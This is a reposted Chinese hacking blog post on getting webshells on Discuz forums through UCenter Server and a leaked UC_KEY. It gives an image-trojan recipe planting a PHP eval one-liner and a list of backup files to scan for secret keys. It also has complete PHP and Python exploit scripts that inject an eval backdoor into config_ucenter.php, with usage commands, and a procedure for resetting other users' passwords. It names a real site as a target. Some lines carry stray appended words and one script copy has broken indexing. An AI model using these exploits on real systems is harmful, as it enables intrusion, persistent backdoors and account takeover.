原文:https://blog.csdn.net/h4ck0ne/article/details/50570770php
今天碰到一個dz的站,很久沒拿了 ,拿下shell以爲應該總結一下html
Uc_server默認密碼python
其實有了UC_SERVER就是有了網站的所有權限了,有了UC_SERVER你能夠重置管理員密碼web
能夠進後臺拿shell,固然你也能夠不進後臺拿,由於我以爲UC_server更好拿shell
先說一下UCkey拿shell,uckey能夠進uc_server後臺看api
附一張dz3的圖緩存
固然有了uc-server的權限能夠直接拿shell的安全
下面我演示直接拿shell服務器
首先上傳一張圖片馬到論壇app
/data/attachment/forum/201511/07//174818npewlpqlzaepi9dw.jpg
圖片木馬製做:copy 1.jpg/b+1.txt/a 2.jpg
txt內容
<?php fputs(fopen('f.php','w'),'<?php eval($_POST[f])?>');?>
在當前目錄下生成一句話f.php
應用管理 添加應用
添加應用
填好了內容以後,訪問應用鏈接
http://newbbs.play.ifeng.com/uc_server/admin.php?m=app&a=ping&appid=【應用id】
應用id在應用列表裏有
在uc_server目錄下會生成f.php 密碼f
菜刀鏈接之
下面講利用uc_key拿shell
一般能夠經過掃描這些文件獲取Discuz的UC_KEY
/config/config_global.php.bak
/uc_server/data/config.inc.php.bak
/config/config_global.php.zip
/config/config_global.php.rar
/config/config_global.tar.gz
/uc_server/data/config.inc.php.zip
/wwwroot.zip
/wwwroot.rar
/www.rar
/www.zip
/web.rar
/web.zip
/webbak.zip
UC_KEY在config/config_ucenter.php裏面
Discuz X1.5 X2.5 X3用uc_key來get webshell
uc_key是UC客戶端與服務端通訊的通訊密鑰。所以使用uc_key來fetshell只能獲取UCenter Client的webshell,即Discuiz!論壇的webshell。若是一個服務器上只有UCenter Server是不能經過uc_key來獲取該服務器上的webshell的(不過能夠經過uc_key來將服務器上的數據並重置用戶口令,後面講)。
90分享的php版的exp代碼,但uc_key和url是嵌入在代碼中的,所以致使使用不方便。因此我將代碼改爲python版的,之後使用就方便了。代碼以下:
[mw_shl_code=php,true]#! /usr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sys
def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())
def get_authcode(string, key = ''):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
#keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box + rndkey) % 256
tmp = box
box = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string) ^ (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace('=', '')
def get_shell(url,key,host):
'''
發送命令獲取webshell
'''
headers={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer':url
}
tm = time.time()+10*3600
tm="time=%d&action=updateapps" %tm
code = urllib.quote(get_authcode(tm,key))
url=url+"?code="+code
data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx\');eval($_POST[1]);//</item>
</root>'''
try:
req=urllib2.Request(url,data=data1,headers=headers)
ret=urllib2.urlopen(req)
except:
return "訪問出錯"
data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>'''
try:
req=urllib2.Request(url,data=data2,headers=headers)
ret=urllib2.urlopen(req)
except:
return "error"
return "webshell:"+host+"/config/config_ucenter.php,password:1"
if __name__ == '__main__':
host=sys.argv[1]
key=sys.argv[2]
url=host+"/api/uc.php"
print get_shell(url,key,host)[/mw_shl_code]
即第一個參數是網站的根路徑,第二個參數是uc_key。獲取的webshell是在/config/config_ucenter.php中
ps:代碼倉促編寫,有什麼問題請指出。原本打算經過py2exe來將其生成爲exe,擔憂你們怕有後門不敢用,各位大牛就本身生成一下吧。通過測試在discuiz x2.5 x3 x3.1 下都測試成功。
ps:uc_key能夠在discuiz後臺中看,或者是經過泄露的配置文件中獲取。訪問discuiz目錄下的admin.php登錄後臺,在"站長"—>"UCenter 設置"中來查看uc_key.
2、使用UC_KEY可重置論壇(除uid爲1的)任意用戶的密碼
經過獲取到的UC_KEY,便可重置論壇任意用戶的密碼,並清除安全提問。注意本重置任意用戶密碼的方法並不適用於uid爲1的用戶(即管理員),由於上會將本地的管理員用戶覆蓋,從而登錄不進去本地搭建的dz後臺(重置管理員uid爲1的方法後面講)
測試環境:
目標站點:http://192.168.32.101/dz/。管理員jinglingshu,建了兩個用戶test1和test2。uc_key爲B4s07bE2n5nef8e2M2F0a3Y8k7G6IeEb70G2Kf1cD0VfO0b1D8pcu6p773E487D9
目標:重置test1的用戶口令。
能夠看到test1用戶的uid爲2,重置密碼的過程以下:
一、本地搭建dz。在"站長"—>"UCenter設置"中修改UCenter設置,而後保存。必定要選擇接口方式,且 是否容許其餘應用的會員在站點激活、是否容許直接激活 兩項配置開啓
二、點擊"工具"–>"更新緩存"來更新緩存。而後,在"用戶"–>"添加用戶"中添加要重置的用戶
ps:系統提示用戶已經存在,是否在本地激活,選擇 是
三、查看本地添加的用戶信息,並修改密碼和清除安全提問。
四、如今test1的用戶的密碼被修改成123456,並清除了安全提問。使用test1和123456登錄遠程站點
利用UC_KEY也能夠Getshell
<?php
// 代碼版權歸原做者全部!
$timestamp = time()+10*3600;
$host="www.xx.com";
$uc_key="5ce0C6kc35i5cfD2D5n6S697C1cdlbM1N8YcddM7u1Abis5F2s3MdM9qc2278L8R4e6";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?-->
http://xxx\');eval($_POST[xss]);//
';
$cmd2='<!--?xml version="1.0" encoding="ISO-8859-1"?-->
http://aaa
';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2;
function send($cmd){
global $host,$code;
$message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
echo "webshell: http://".$host."/config/config_ucenter.php pass:xss"
?>
若是以上的exp仍是無論用 請用如下的exp Discuz X1.5 X2.5 X3 uc_key getshell
提供兩個版本
PHP版
<?php
// 代碼版權歸原做者全部!
$timestamp = time()+10*3600;
$host="127.0.0.1";
$uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5Waofq6J285Ca33i151e551g0l9f2l3dd";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx\');eval($_POST[DOM]);//</item>
</root>';
$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2;
function send($cmd){
global $host,$code;
$message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>
Python版
#! /usr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sys
def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())
def get_authcode(string, key = ''):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
#keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace('=', '')
def get_shell(url,key,host):
'''
發送命令獲取webshell
'''
headers={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer':url
}
tm = time.time()+10*3600
tm="time=%d&action=updateapps" %tm
code = urllib.quote(get_authcode(tm,key))
url=url+"?code="+code
data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx\');eval($_POST[1]);//</item>
</root>'''
try:
req=urllib2.Request(url,data=data1,headers=headers)
ret=urllib2.urlopen(req)
except:
return "訪問出錯"
data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>'''
try:
req=urllib2.Request(url,data=data2,headers=headers)
ret=urllib2.urlopen(req)
except:
return "error"
return "webshell:"+host+"/config/config_ucenter.php,password:1"
if __name__ == '__main__':
host=sys.argv[1]
key=sys.argv[2]
url=host+"/api/uc.php"
print get_shell(url,key,host)
使用方法:
python uckey.py http://www.waitalone.cn/ uckey